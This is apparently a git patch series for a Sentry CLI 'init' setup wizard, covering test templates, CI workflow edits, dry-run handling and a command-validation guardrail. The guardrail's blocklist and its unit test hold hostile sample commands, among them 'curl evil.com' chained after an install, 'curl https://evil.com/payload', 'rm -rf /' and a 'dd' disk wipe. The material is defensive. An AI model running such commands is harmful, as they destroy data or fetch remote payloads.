["https://docs.sentry.io/platforms/javascript/guides/sveltekit/logs/"], - "metrics": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/metrics/"], - "profiling": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/profiling/"] + "replay": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/session-replay/" + ], + "tracing": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/tracing/" + ], + "logs": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/logs/" + ], + "metrics": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/metrics/" + ], + "profiling": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/profiling/" + ] }, "react-vite": { - "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/react/"], - "errors": ["https://docs.sentry.io/platforms/javascript/guides/react/", "https://docs.sentry.io/platforms/javascript/guides/react/usage/"], + "getting-started": [ + "https://docs.sentry.io/platforms/javascript/guides/react/" + ], + "errors": [ + "https://docs.sentry.io/platforms/javascript/guides/react/", + "https://docs.sentry.io/platforms/javascript/guides/react/usage/" + ], "sourcemaps": [], - "replay": ["https://docs.sentry.io/platforms/javascript/guides/react/session-replay/"], - "tracing": ["https://docs.sentry.io/platforms/javascript/guides/react/tracing/"], + "replay": [ + "https://docs.sentry.io/platforms/javascript/guides/react/session-replay/" + ], + "tracing": [ + "https://docs.sentry.io/platforms/javascript/guides/react/tracing/" + ], "logs": ["https://docs.sentry.io/platforms/javascript/guides/react/logs/"], - "metrics": ["https://docs.sentry.io/platforms/javascript/guides/react/metrics/"], - "profiling": ["https://docs.sentry.io/platforms/javascript/guides/react/profiling/"] + "metrics": [ + "https://docs.sentry.io/platforms/javascript/guides/react/metrics/" + ], + "profiling": [ + "https://docs.sentry.io/platforms/javascript/guides/react/profiling/" + ] } } diff --git a/test/init-eval/helpers/docs-fetcher.ts b/test/init-eval/helpers/docs-fetcher.ts index e4fe2325..6964320a 100644 --- a/test/init-eval/helpers/docs-fetcher.ts +++ b/test/init-eval/helpers/docs-fetcher.ts @@ -1,5 +1,5 @@ function toMarkdownUrl(docsUrl: string): string { - return docsUrl.replace(/\/+$/, "") + ".md"; + return `${docsUrl.replace(/\/+$/, "")}.md`; } /** diff --git a/test/init-eval/helpers/platforms.ts b/test/init-eval/helpers/platforms.ts index 471caf61..bae33107 100644 --- a/test/init-eval/helpers/platforms.ts +++ b/test/init-eval/helpers/platforms.ts @@ -91,7 +91,8 @@ export const PLATFORMS: Platform[] = [ sdkPackage: "sentry-sdk", depFile: "requirements.txt", docs: getDocs("python-flask"), - installCmd: "python -m venv .venv && .venv/bin/pip install -r requirements.txt", + installCmd: + "python -m venv .venv && .venv/bin/pip install -r requirements.txt", buildCmd: ".venv/bin/python -m compileall -q .", initPattern: /sentry_sdk\.init/, timeout: 300_000, @@ -103,7 +104,8 @@ export const PLATFORMS: Platform[] = [ sdkPackage: "sentry-sdk", depFile: "requirements.txt", docs: getDocs("python-fastapi"), - installCmd: "python -m venv .venv && .venv/bin/pip install -r requirements.txt", + installCmd: + "python -m venv .venv && .venv/bin/pip install -r requirements.txt", buildCmd: ".venv/bin/python -m compileall -q .", initPattern: /sentry_sdk\.init/, timeout: 300_000, From 04ae63dfba890d06a1fbcb38089eb3b58e3f4ba1 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 22:16:36 +0100 Subject: [PATCH 22/34] ci(init): add minimal permissions to init-eval workflow Restrict GITHUB_TOKEN to contents:read as flagged by CodeQL. Co-Authored-By: Claude Opus 4.6 --- .github/workflows/init-eval.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/init-eval.yml b/.github/workflows/init-eval.yml index d6b23e51..56711468 100644 --- a/.github/workflows/init-eval.yml +++ b/.github/workflows/init-eval.yml @@ -22,6 +22,8 @@ jobs: name: Eval ${{ matrix.platform }} runs-on: ubuntu-latest environment: init-eval + permissions: + contents: read strategy: fail-fast: false matrix: From 4d7787cbd3529937738551c73123b4de800aa908 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 24 Feb 2026 11:16:38 +0100 Subject: [PATCH 23/34] fix(init): update sveltekit template and use python3 in eval tests Update SvelteKit template with working deps (adapter-node, latest svelte/vite) and add required src files (app.d.ts, app.html). Use python3 instead of python for venv creation in Flask/FastAPI platforms. Add --concurrency 6 to init-eval test runner. Co-Authored-By: Claude Opus 4.6 --- package.json | 2 +- test/init-eval/helpers/platforms.ts | 4 +-- .../templates/sveltekit-app/package.json | 18 +++++++------ .../templates/sveltekit-app/src/app.d.ts | 13 ++++++++++ .../templates/sveltekit-app/src/app.html | 11 ++++++++ .../templates/sveltekit-app/svelte.config.js | 10 +++----- .../templates/sveltekit-app/tsconfig.json | 25 ++++++++++--------- 7 files changed, 54 insertions(+), 29 deletions(-) create mode 100644 test/init-eval/templates/sveltekit-app/src/app.d.ts create mode 100644 test/init-eval/templates/sveltekit-app/src/app.html diff --git a/package.json b/package.json index 3ebecbce..71e93045 100644 --- a/package.json +++ b/package.json @@ -21,7 +21,7 @@ "test:unit": "bun test test/lib test/commands test/types --coverage --coverage-reporter=lcov", "test:isolated": "bun test test/isolated", "test:e2e": "bun test test/e2e", - "test:init-eval": "bun test test/init-eval --timeout 600000", + "test:init-eval": "bun test test/init-eval --timeout 600000 --concurrency 6", "generate:skill": "bun run script/generate-skill.ts", "check:skill": "bun run script/check-skill.ts", "check:deps": "bun run script/check-no-deps.ts" diff --git a/test/init-eval/helpers/platforms.ts b/test/init-eval/helpers/platforms.ts index bae33107..df5228ce 100644 --- a/test/init-eval/helpers/platforms.ts +++ b/test/init-eval/helpers/platforms.ts @@ -92,7 +92,7 @@ export const PLATFORMS: Platform[] = [ depFile: "requirements.txt", docs: getDocs("python-flask"), installCmd: - "python -m venv .venv && .venv/bin/pip install -r requirements.txt", + "python3 -m venv .venv && .venv/bin/pip install -r requirements.txt", buildCmd: ".venv/bin/python -m compileall -q .", initPattern: /sentry_sdk\.init/, timeout: 300_000, @@ -105,7 +105,7 @@ export const PLATFORMS: Platform[] = [ depFile: "requirements.txt", docs: getDocs("python-fastapi"), installCmd: - "python -m venv .venv && .venv/bin/pip install -r requirements.txt", + "python3 -m venv .venv && .venv/bin/pip install -r requirements.txt", buildCmd: ".venv/bin/python -m compileall -q .", initPattern: /sentry_sdk\.init/, timeout: 300_000, diff --git a/test/init-eval/templates/sveltekit-app/package.json b/test/init-eval/templates/sveltekit-app/package.json index 77ae4f30..e58b151f 100644 --- a/test/init-eval/templates/sveltekit-app/package.json +++ b/test/init-eval/templates/sveltekit-app/package.json @@ -1,18 +1,20 @@ { "name": "sveltekit-app", - "version": "0.1.0", "private": true, + "version": "0.0.1", + "type": "module", "scripts": { "dev": "vite dev", "build": "vite build", - "preview": "vite preview" + "preview": "vite preview", + "prepare": "svelte-kit sync || echo ''" }, "devDependencies": { - "@sveltejs/adapter-auto": "^4.0.0", - "@sveltejs/kit": "^2.16.0", - "@sveltejs/vite-plugin-svelte": "^5.0.0", - "svelte": "^5.0.0", - "typescript": "^5", - "vite": "^6.0.0" + "@sveltejs/adapter-node": "^5.0.0", + "@sveltejs/kit": "^2.50.2", + "@sveltejs/vite-plugin-svelte": "^6.2.4", + "svelte": "^5.51.0", + "typescript": "^5.9.3", + "vite": "^7.3.1" } } diff --git a/test/init-eval/templates/sveltekit-app/src/app.d.ts b/test/init-eval/templates/sveltekit-app/src/app.d.ts new file mode 100644 index 00000000..da08e6da --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/src/app.d.ts @@ -0,0 +1,13 @@ +// See https://svelte.dev/docs/kit/types#app.d.ts +// for information about these interfaces +declare global { + namespace App { + // interface Error {} + // interface Locals {} + // interface PageData {} + // interface PageState {} + // interface Platform {} + } +} + +export {}; diff --git a/test/init-eval/templates/sveltekit-app/src/app.html b/test/init-eval/templates/sveltekit-app/src/app.html new file mode 100644 index 00000000..f273cc58 --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/src/app.html @@ -0,0 +1,11 @@ + + + + + + %sveltekit.head% + + +
%sveltekit.body%
+ + diff --git a/test/init-eval/templates/sveltekit-app/svelte.config.js b/test/init-eval/templates/sveltekit-app/svelte.config.js index 3fc56b9c..6bfb3c40 100644 --- a/test/init-eval/templates/sveltekit-app/svelte.config.js +++ b/test/init-eval/templates/sveltekit-app/svelte.config.js @@ -1,12 +1,10 @@ -import adapter from "@sveltejs/adapter-auto"; -import { vitePreprocess } from "@sveltejs/vite-plugin-svelte"; +import adapter from '@sveltejs/adapter-node'; /** @type {import('@sveltejs/kit').Config} */ const config = { - preprocess: vitePreprocess(), - kit: { - adapter: adapter(), - }, + kit: { + adapter: adapter() + } }; export default config; diff --git a/test/init-eval/templates/sveltekit-app/tsconfig.json b/test/init-eval/templates/sveltekit-app/tsconfig.json index 43447105..feea18bf 100644 --- a/test/init-eval/templates/sveltekit-app/tsconfig.json +++ b/test/init-eval/templates/sveltekit-app/tsconfig.json @@ -1,14 +1,15 @@ { - "extends": "./.svelte-kit/tsconfig.json", - "compilerOptions": { - "allowJs": true, - "checkJs": true, - "esModuleInterop": true, - "forceConsistentCasingInFileNames": true, - "resolveJsonModule": true, - "skipLibCheck": true, - "sourceMap": true, - "strict": true, - "moduleResolution": "bundler" - } + "extends": "./.svelte-kit/tsconfig.json", + "compilerOptions": { + "rewriteRelativeImportExtensions": true, + "allowJs": true, + "checkJs": true, + "esModuleInterop": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true, + "skipLibCheck": true, + "sourceMap": true, + "strict": true, + "moduleResolution": "bundler" + } } From 102baa64c555633d49e26eb2d9c561a79155962e Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 24 Feb 2026 11:42:44 +0100 Subject: [PATCH 24/34] ci(init): run init-eval on PRs and main pushes Add push/pull_request triggers so the eval runs automatically alongside other CI checks. Keep workflow_dispatch for manual single-platform runs. Co-Authored-By: Claude Opus 4.6 --- .github/workflows/init-eval.yml | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/.github/workflows/init-eval.yml b/.github/workflows/init-eval.yml index 56711468..8e0d3b8c 100644 --- a/.github/workflows/init-eval.yml +++ b/.github/workflows/init-eval.yml @@ -1,6 +1,9 @@ name: Init Eval on: + push: + branches: [main] + pull_request: workflow_dispatch: inputs: platform: @@ -17,6 +20,10 @@ on: - react-vite - sveltekit +concurrency: + group: init-eval-${{ github.ref }} + cancel-in-progress: true + jobs: eval: name: Eval ${{ matrix.platform }} @@ -27,9 +34,9 @@ jobs: strategy: fail-fast: false matrix: - platform: ${{ inputs.platform == 'all' - && fromJson('["express","nextjs","python-fastapi","python-flask","react-vite","sveltekit"]') - || fromJson(format('["{0}"]', inputs.platform)) }} + platform: ${{ (inputs.platform && inputs.platform != 'all') + && fromJson(format('["{0}"]', inputs.platform)) + || fromJson('["express","nextjs","python-fastapi","python-flask","react-vite","sveltekit"]') }} steps: - uses: actions/checkout@v4 - uses: oven-sh/setup-bun@v2 From 51f8968d179fcd30ee4e013707aac7692f7b4120 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 24 Feb 2026 12:09:15 +0100 Subject: [PATCH 25/34] Revert "ci(init): run init-eval on PRs and main pushes" This reverts commit 102baa64c555633d49e26eb2d9c561a79155962e. --- .github/workflows/init-eval.yml | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) diff --git a/.github/workflows/init-eval.yml b/.github/workflows/init-eval.yml index 8e0d3b8c..56711468 100644 --- a/.github/workflows/init-eval.yml +++ b/.github/workflows/init-eval.yml @@ -1,9 +1,6 @@ name: Init Eval on: - push: - branches: [main] - pull_request: workflow_dispatch: inputs: platform: @@ -20,10 +17,6 @@ on: - react-vite - sveltekit -concurrency: - group: init-eval-${{ github.ref }} - cancel-in-progress: true - jobs: eval: name: Eval ${{ matrix.platform }} @@ -34,9 +27,9 @@ jobs: strategy: fail-fast: false matrix: - platform: ${{ (inputs.platform && inputs.platform != 'all') - && fromJson(format('["{0}"]', inputs.platform)) - || fromJson('["express","nextjs","python-fastapi","python-flask","react-vite","sveltekit"]') }} + platform: ${{ inputs.platform == 'all' + && fromJson('["express","nextjs","python-fastapi","python-flask","react-vite","sveltekit"]') + || fromJson(format('["{0}"]', inputs.platform)) }} steps: - uses: actions/checkout@v4 - uses: oven-sh/setup-bun@v2 From d5d0b22d3264c335d08792104dd795deafdeeda7 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 24 Feb 2026 12:09:22 +0100 Subject: [PATCH 26/34] ci(init): remove init-eval workflow for now Co-Authored-By: Claude Opus 4.6 --- .github/workflows/init-eval.yml | 50 --------------------------------- 1 file changed, 50 deletions(-) delete mode 100644 .github/workflows/init-eval.yml diff --git a/.github/workflows/init-eval.yml b/.github/workflows/init-eval.yml deleted file mode 100644 index 56711468..00000000 --- a/.github/workflows/init-eval.yml +++ /dev/null @@ -1,50 +0,0 @@ -name: Init Eval - -on: - workflow_dispatch: - inputs: - platform: - description: "Platform to evaluate (or 'all')" - required: true - default: all - type: choice - options: - - all - - express - - nextjs - - python-fastapi - - python-flask - - react-vite - - sveltekit - -jobs: - eval: - name: Eval ${{ matrix.platform }} - runs-on: ubuntu-latest - environment: init-eval - permissions: - contents: read - strategy: - fail-fast: false - matrix: - platform: ${{ inputs.platform == 'all' - && fromJson('["express","nextjs","python-fastapi","python-flask","react-vite","sveltekit"]') - || fromJson(format('["{0}"]', inputs.platform)) }} - steps: - - uses: actions/checkout@v4 - - uses: oven-sh/setup-bun@v2 - - uses: actions/setup-python@v5 - with: - python-version: "3.12" - - uses: actions/cache@v4 - id: cache - with: - path: node_modules - key: node-modules-${{ hashFiles('bun.lock', 'patches/**') }} - - if: steps.cache.outputs.cache-hit != 'true' - run: bun install --frozen-lockfile - - name: Run eval - env: - MASTRA_API_URL: ${{ secrets.MASTRA_API_URL }} - OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} - run: bun test ./test/init-eval/${{ matrix.platform }}.eval.test.ts --timeout 600000 From 1308035a435f62b69cbb0426eb015dc7b4ce90e7 Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 25 Feb 2026 20:16:51 +0100 Subject: [PATCH 27/34] feat(init): enforce --dry-run flag in local operations Skip mutating operations (shell commands, file writes) when --dry-run is active, and auto-continue the verify-changes prompt since the server skips apply-patchset in dry-run mode. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 40 +++++++++++++++++++++++++++++------ src/lib/init/wizard-runner.ts | 9 ++++++++ 2 files changed, 43 insertions(+), 6 deletions(-) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 84fef095..c5f9f2dd 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -42,7 +42,7 @@ function safePath(cwd: string, relative: string): string { export async function handleLocalOp( payload: LocalOpPayload, - _options: WizardOptions + options: WizardOptions ): Promise { try { switch (payload.operation) { @@ -53,9 +53,9 @@ export async function handleLocalOp( case "file-exists-batch": return await fileExistsBatch(payload); case "run-commands": - return await runCommands(payload); + return await runCommands(payload, options.dryRun); case "apply-patchset": - return await applyPatchset(payload); + return await applyPatchset(payload, options.dryRun); default: return { ok: false, @@ -167,7 +167,8 @@ function fileExistsBatch(payload: FileExistsBatchPayload): LocalOpResult { } async function runCommands( - payload: RunCommandsPayload + payload: RunCommandsPayload, + dryRun?: boolean ): Promise { const { cwd, params } = payload; const timeoutMs = params.timeoutMs ?? DEFAULT_COMMAND_TIMEOUT_MS; @@ -180,6 +181,15 @@ async function runCommands( }> = []; for (const command of params.commands) { + if (dryRun) { + results.push({ + command, + exitCode: 0, + stdout: "(dry-run: skipped)", + stderr: "", + }); + continue; + } const result = await runSingleCommand(command, cwd, timeoutMs); results.push(result); if (result.exitCode !== 0) { @@ -251,7 +261,26 @@ function runSingleCommand( }); } -function applyPatchset(payload: ApplyPatchsetPayload): LocalOpResult { +function applyPatchsetDryRun(payload: ApplyPatchsetPayload): LocalOpResult { + const { cwd, params } = payload; + const applied: Array<{ path: string; action: string }> = []; + + for (const patch of params.patches) { + safePath(cwd, patch.path); + applied.push({ path: patch.path, action: patch.action }); + } + + return { ok: true, data: { applied } }; +} + +function applyPatchset( + payload: ApplyPatchsetPayload, + dryRun?: boolean +): LocalOpResult { + if (dryRun) { + return applyPatchsetDryRun(payload); + } + const { cwd, params } = payload; const applied: Array<{ path: string; action: string }> = []; @@ -260,7 +289,6 @@ function applyPatchset(payload: ApplyPatchsetPayload): LocalOpResult { switch (patch.action) { case "create": { - // Ensure parent directory exists const dir = path.dirname(absPath); fs.mkdirSync(dir, { recursive: true }); fs.writeFileSync(absPath, patch.patch, "utf-8"); diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 17f5a7f2..395808eb 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -67,6 +67,15 @@ async function handleSuspendedStep( } if (payloadType === "interactive") { + // In dry-run mode, verification always fails because no files were written + // (the server skips apply-patchset). Auto-continue since this is expected. + if (options.dryRun && stepId === "verify-changes") { + return { + action: "continue", + _phase: nextPhase(stepPhases, stepId, ["apply"]), + }; + } + s.stop(label); const interactiveResult = await handleInteractive( From 00417d6cad275f27b2f326b95fa4a51e567363a5 Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 25 Feb 2026 20:33:36 +0100 Subject: [PATCH 28/34] fix(init): use HTTPS for default API URL Prevent auth tokens from being sent over plaintext by defaulting MASTRA_API_URL to https://. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/constants.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/lib/init/constants.ts b/src/lib/init/constants.ts index 385ac180..d3428cb4 100644 --- a/src/lib/init/constants.ts +++ b/src/lib/init/constants.ts @@ -1,6 +1,6 @@ export const MASTRA_API_URL = process.env.SENTRY_WIZARD_API_URL ?? - "http://sentry-init-agent.getsentry.workers.dev"; + "https://sentry-init-agent.getsentry.workers.dev"; export const WORKFLOW_ID = "sentry-wizard"; From d41cbb8eb25d45bfcdded9b2ed04d4795a295e52 Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 25 Feb 2026 20:39:39 +0100 Subject: [PATCH 29/34] fix(init): add @clack/prompts as direct dependency Previously resolved transitively through ultracite. Declaring it explicitly prevents breakage if ultracite drops or changes the dep. Co-Authored-By: Claude Opus 4.6 --- bun.lock | 1 + package.json | 1 + 2 files changed, 2 insertions(+) diff --git a/bun.lock b/bun.lock index b0ee83e6..a56a9b75 100644 --- a/bun.lock +++ b/bun.lock @@ -6,6 +6,7 @@ "devDependencies": { "@anthropic-ai/sdk": "^0.39.0", "@biomejs/biome": "2.3.8", + "@clack/prompts": "^0.11.0", "@mastra/client-js": "^1.4.0", "@sentry/api": "^0.1.0", "@sentry/bun": "10.39.0", diff --git a/package.json b/package.json index 71e93045..e595742f 100644 --- a/package.json +++ b/package.json @@ -29,6 +29,7 @@ "devDependencies": { "@anthropic-ai/sdk": "^0.39.0", "@biomejs/biome": "2.3.8", + "@clack/prompts": "^0.11.0", "@mastra/client-js": "^1.4.0", "@sentry/api": "^0.1.0", "@sentry/bun": "10.39.0", From 2dd7f4791f8ad224b0b2fbeef88f176ed5f0bfad Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 25 Feb 2026 22:13:26 +0100 Subject: [PATCH 30/34] feat(init): add command execution guardrails to local-ops Validate commands before shell execution with two layers: - Block shell metacharacters (;, &&, ||, |, backticks, $(), newlines) - Blocklist of 37 dangerous executables (rm, curl, sudo, ssh, etc.) This prevents the CLI from blindly executing arbitrary commands if the remote API is compromised or the LLM hallucinates a bad command. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 71 +++++++++++++++++++++++++++++ test/lib/init/local-ops.test.ts | 79 +++++++++++++++++++++++++++++++++ 2 files changed, 150 insertions(+) create mode 100644 test/lib/init/local-ops.test.ts diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index c5f9f2dd..b2593be1 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -24,6 +24,71 @@ import type { WizardOptions, } from "./types.js"; +/** + * Shell metacharacters that enable chaining, piping, substitution, or redirection. + * All legitimate install commands are simple single commands that don't need these. + */ +const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = [ + { pattern: ";", label: "command chaining (;)" }, + // Check multi-char operators before single `|` so labels are accurate + { pattern: "&&", label: "command chaining (&&)" }, + { pattern: "||", label: "command chaining (||)" }, + { pattern: "|", label: "piping (|)" }, + { pattern: "`", label: "command substitution (`)" }, + { pattern: "$(", label: "command substitution ($()" }, + { pattern: "\n", label: "newline" }, + { pattern: "\r", label: "carriage return" }, +]; + +/** + * Executables that should never appear in a package install command. + */ +const BLOCKED_EXECUTABLES = new Set([ + // Destructive + "rm", "rmdir", "del", + // Network/exfil + "curl", "wget", "nc", "ncat", "netcat", "socat", "telnet", "ftp", + // Privilege escalation + "sudo", "su", "doas", + // Permissions + "chmod", "chown", "chgrp", + // Process/system + "kill", "killall", "pkill", "shutdown", "reboot", "halt", "poweroff", + // Disk + "dd", "mkfs", "fdisk", "mount", "umount", + // Remote access + "ssh", "scp", "sftp", + // Shells + "bash", "sh", "zsh", "fish", "csh", "dash", + // Misc dangerous + "eval", "exec", "env", "xargs", +]); + +/** + * Validate a command before execution. + * Returns an error message if the command is unsafe, or undefined if it's OK. + */ +export function validateCommand(command: string): string | undefined { + // Layer 1: Block shell metacharacters + for (const { pattern, label } of SHELL_METACHARACTER_PATTERNS) { + if (command.includes(pattern)) { + return `Blocked command: contains ${label} — "${command}"`; + } + } + + // Layer 2: Block dangerous executables + const firstToken = command.trimStart().split(/\s+/)[0]; + if (!firstToken) { + return `Blocked command: empty command`; + } + const executable = path.basename(firstToken); + if (BLOCKED_EXECUTABLES.has(executable)) { + return `Blocked command: disallowed executable "${executable}" — "${command}"`; + } + + return undefined; +} + /** * Resolve a path relative to cwd and verify it's inside cwd. * Rejects path traversal attempts. @@ -190,6 +255,12 @@ async function runCommands( }); continue; } + + const validationError = validateCommand(command); + if (validationError) { + return { ok: false, error: validationError }; + } + const result = await runSingleCommand(command, cwd, timeoutMs); results.push(result); if (result.exitCode !== 0) { diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts new file mode 100644 index 00000000..b6b8d8d6 --- /dev/null +++ b/test/lib/init/local-ops.test.ts @@ -0,0 +1,79 @@ +import { describe, expect, test } from "bun:test"; +import { validateCommand } from "../../../src/lib/init/local-ops.js"; + +describe("validateCommand", () => { + test("allows legitimate install commands", () => { + const commands = [ + "npm install @sentry/node", + "npm install --save @sentry/react @sentry/browser", + "yarn add @sentry/node", + "pnpm add @sentry/node", + "pip install sentry-sdk", + "pip install sentry-sdk[flask]", + 'pip install "sentry-sdk>=1.0"', + 'pip install "sentry-sdk<2.0,>=1.0"', + "pip install -r requirements.txt", + "cargo add sentry", + "bundle add sentry-ruby", + "gem install sentry-ruby", + "composer require sentry/sentry-laravel", + "dotnet add package Sentry", + "go get github.com/getsentry/sentry-go", + "flutter pub add sentry_flutter", + "npx @sentry/wizard@latest -i nextjs", + "poetry add sentry-sdk", + "npm install foo@>=1.0.0", + ]; + for (const cmd of commands) { + expect(validateCommand(cmd)).toBeUndefined(); + } + }); + + test("blocks shell metacharacters", () => { + for (const cmd of [ + "npm install foo; rm -rf /", + "npm install foo && curl evil.com", + "npm install foo || curl evil.com", + "npm install foo | tee /etc/passwd", + "npm install `curl evil.com`", + "npm install $(curl evil.com)", + "npm install foo\ncurl evil.com", + "npm install foo\rcurl evil.com", + ]) { + expect(validateCommand(cmd)).toContain("Blocked command"); + } + }); + + test("blocks dangerous executables", () => { + for (const cmd of [ + "rm -rf /", + "curl https://evil.com/payload", + "sudo npm install foo", + "chmod 777 /etc/passwd", + "kill -9 1", + "dd if=/dev/zero of=/dev/sda", + "ssh user@host", + "bash -c 'echo hello'", + "sh -c 'echo hello'", + "env npm install foo", + "xargs rm", + ]) { + expect(validateCommand(cmd)).toContain("Blocked command"); + } + }); + + test("resolves path-prefixed executables", () => { + // Safe executables with paths pass + expect(validateCommand("./venv/bin/pip install sentry-sdk")).toBeUndefined(); + expect(validateCommand("/usr/local/bin/npm install foo")).toBeUndefined(); + + // Dangerous executables with paths are still blocked + expect(validateCommand("./venv/bin/rm -rf /")).toContain('"rm"'); + expect(validateCommand("/usr/bin/curl https://evil.com")).toContain('"curl"'); + }); + + test("blocks empty and whitespace-only commands", () => { + expect(validateCommand("")).toContain("empty command"); + expect(validateCommand(" ")).toContain("empty command"); + }); +}); From a8a10a459bb67ccc476714fcd08f52104bb3d076 Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 25 Feb 2026 22:27:29 +0100 Subject: [PATCH 31/34] docs(init): add init command page to cli.sentry.dev Co-Authored-By: Claude Opus 4.6 --- docs/src/content/docs/commands/init.md | 63 +++++++++++++++++++++++ docs/src/content/docs/getting-started.mdx | 1 + 2 files changed, 64 insertions(+) create mode 100644 docs/src/content/docs/commands/init.md diff --git a/docs/src/content/docs/commands/init.md b/docs/src/content/docs/commands/init.md new file mode 100644 index 00000000..23f7dbd4 --- /dev/null +++ b/docs/src/content/docs/commands/init.md @@ -0,0 +1,63 @@ +--- +title: init +description: AI-powered project setup wizard for the Sentry CLI +--- + +Set up Sentry in your project with an AI-powered wizard. The `init` command detects your platform and framework, installs the Sentry SDK, and instruments your code for error monitoring, tracing, and more. + +**Prerequisites:** You must be authenticated first. Run `sentry auth login` if you haven't already. + +## Usage + +```bash +sentry init [directory] +``` + +**Arguments:** + +| Argument | Description | +|----------|-------------| +| `[directory]` | Project directory (default: current directory) | + +**Options:** + +| Option | Description | +|--------|-------------| +| `--force` | Continue even if Sentry is already installed | +| `-y, --yes` | Non-interactive mode (accept defaults) | +| `--dry-run` | Preview changes without applying them | +| `--features ` | Comma-separated features: `errors`, `tracing`, `logs`, `replay`, `metrics` | + +## Examples + +```bash +# Run the wizard in the current directory +sentry init + +# Target a subdirectory +sentry init ./my-app + +# Preview what changes would be made +sentry init --dry-run + +# Select specific features +sentry init --features errors,tracing,logs + +# Non-interactive mode (accept all defaults) +sentry init --yes +``` + +## What the wizard does + +1. **Detects your framework** — scans your project files to identify the platform and framework +2. **Installs the SDK** — adds the appropriate Sentry SDK package to your project +3. **Instruments your code** — configures error monitoring, tracing, and any selected features + +## Supported platforms + +The wizard currently supports: + +- **JavaScript / TypeScript** — Next.js, Express, SvelteKit, React +- **Python** — Flask, FastAPI + +More platforms and frameworks are coming soon. diff --git a/docs/src/content/docs/getting-started.mdx b/docs/src/content/docs/getting-started.mdx index fb87b9c8..9a094682 100644 --- a/docs/src/content/docs/getting-started.mdx +++ b/docs/src/content/docs/getting-started.mdx @@ -81,6 +81,7 @@ Credentials are stored in `~/.sentry/config.json` with restricted file permissio Once authenticated, you can start using the CLI: +- [Initialize Sentry](../commands/init/) - Set up Sentry in your project with the guided wizard - [Organization commands](../commands/org/) - List and view organizations - [Project commands](../commands/project/) - Manage projects - [Issue commands](../commands/issue/) - Track and manage issues From b8cddd578e9cb01618400f20b0d8d54847cd151a Mon Sep 17 00:00:00 2001 From: betegon Date: Thu, 26 Feb 2026 10:53:43 +0100 Subject: [PATCH 32/34] refactor(init): extract magic values into named constants Move hardcoded numeric values, string literals, and exit codes into constants.ts for better readability and maintainability across the init module. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/constants.ts | 14 +++++++++++- src/lib/init/formatters.ts | 14 ++++++++---- src/lib/init/interactive.ts | 12 +++++----- src/lib/init/local-ops.ts | 10 ++++---- src/lib/init/types.ts | 6 ++--- src/lib/init/wizard-runner.ts | 43 +++++++++++++++++++---------------- 6 files changed, 61 insertions(+), 38 deletions(-) diff --git a/src/lib/init/constants.ts b/src/lib/init/constants.ts index d3428cb4..37d0dc81 100644 --- a/src/lib/init/constants.ts +++ b/src/lib/init/constants.ts @@ -7,5 +7,17 @@ export const WORKFLOW_ID = "sentry-wizard"; export const SENTRY_DOCS_URL = "https://docs.sentry.io/platforms/"; export const MAX_FILE_BYTES = 262_144; // 256KB per file -export const MAX_STDOUT_BYTES = 65_536; // 64KB stdout/stderr truncation +export const MAX_OUTPUT_BYTES = 65_536; // 64KB stdout/stderr truncation export const DEFAULT_COMMAND_TIMEOUT_MS = 120_000; // 2 minutes + +// Exit codes returned by the remote workflow +export const EXIT_SENTRY_ALREADY_INSTALLED = 10; +export const EXIT_PLATFORM_NOT_DETECTED = 20; +export const EXIT_DEPENDENCY_INSTALL_FAILED = 30; +export const EXIT_VERIFICATION_FAILED = 50; + +// Step ID used in dry-run special-case logic +export const VERIFY_CHANGES_STEP = "verify-changes"; + +// The feature that is always included in every setup +export const REQUIRED_FEATURE = "errorMonitoring"; diff --git a/src/lib/init/formatters.ts b/src/lib/init/formatters.ts index 46062c71..beb104ff 100644 --- a/src/lib/init/formatters.ts +++ b/src/lib/init/formatters.ts @@ -6,6 +6,12 @@ import { cancel, log, note, outro } from "@clack/prompts"; import { featureLabel } from "./clack-utils.js"; +import { + EXIT_DEPENDENCY_INSTALL_FAILED, + EXIT_PLATFORM_NOT_DETECTED, + EXIT_SENTRY_ALREADY_INSTALLED, + EXIT_VERIFICATION_FAILED, +} from "./constants.js"; type WizardOutput = Record; @@ -87,20 +93,20 @@ export function formatError(result: WizardOutput): void { log.error(String(message)); - if (exitCode === 10) { + if (exitCode === EXIT_SENTRY_ALREADY_INSTALLED) { log.warn("Hint: Use --force to override existing Sentry installation."); - } else if (exitCode === 20) { + } else if (exitCode === 